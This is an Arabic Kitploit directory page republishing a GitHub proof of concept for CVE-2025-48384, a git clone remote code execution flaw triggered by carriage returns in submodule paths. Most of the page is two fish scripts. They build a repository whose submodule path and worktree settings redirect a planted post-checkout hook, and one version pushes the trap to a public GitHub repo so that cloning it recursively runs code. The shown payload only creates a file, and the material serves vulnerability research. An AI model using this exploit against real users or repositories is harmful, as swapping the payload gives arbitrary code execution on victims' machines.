Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-48384 — نص استنساخ لـ CVE-2025-48384، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في git clone عبر حرف الإرجاع (carriage return) في مسارات الوحدات الفرعية (submodules)، مما يوضح الثغرة ويوفر بيئة اختبار محلية. | Kitploit
أدوات/GitHubGitHub/arun1033/cve-2025-48384
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubarun1033/cve-2025-48384

CVE-2025-48384

نص استنساخ لـ CVE-2025-48384، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في git clone عبر حرف الإرجاع (carriage return) في مسارات الوحدات الفرعية (submodules)، مما يوضح الثغرة ويوفر بيئة اختبار محلية.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-48384: كسر git باستخدام حرف إرجاع (carriage return) واستنساخ RCE

إعادة إنتاج من https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. كل الشكر لديفيد ليدبيتر.

هذه محاولة إعادة إنتاج أساسية للثغرة.

لتفعيلها، قم بتنفيذ git clone --recursive https://github.com/acheong08/CVE-2025-48384 على إصدار ضعيف من git وستجد ملف /tmp/fishsucks يظهر فجأة.

تمكنت من إعادة الإنتاج على إصدار git 2.50.0.

فيما يلي النص البرمجي المستخدم للاختبار محليًا.

root@kitploit:~
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone

نص برمجي معدّل للرفع إلى Github:

root@kitploit:~
#!/usr/bin/fish
if not test -d sub
    git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
    git -C sub pull
end

echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD

rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
تنزيل الأداة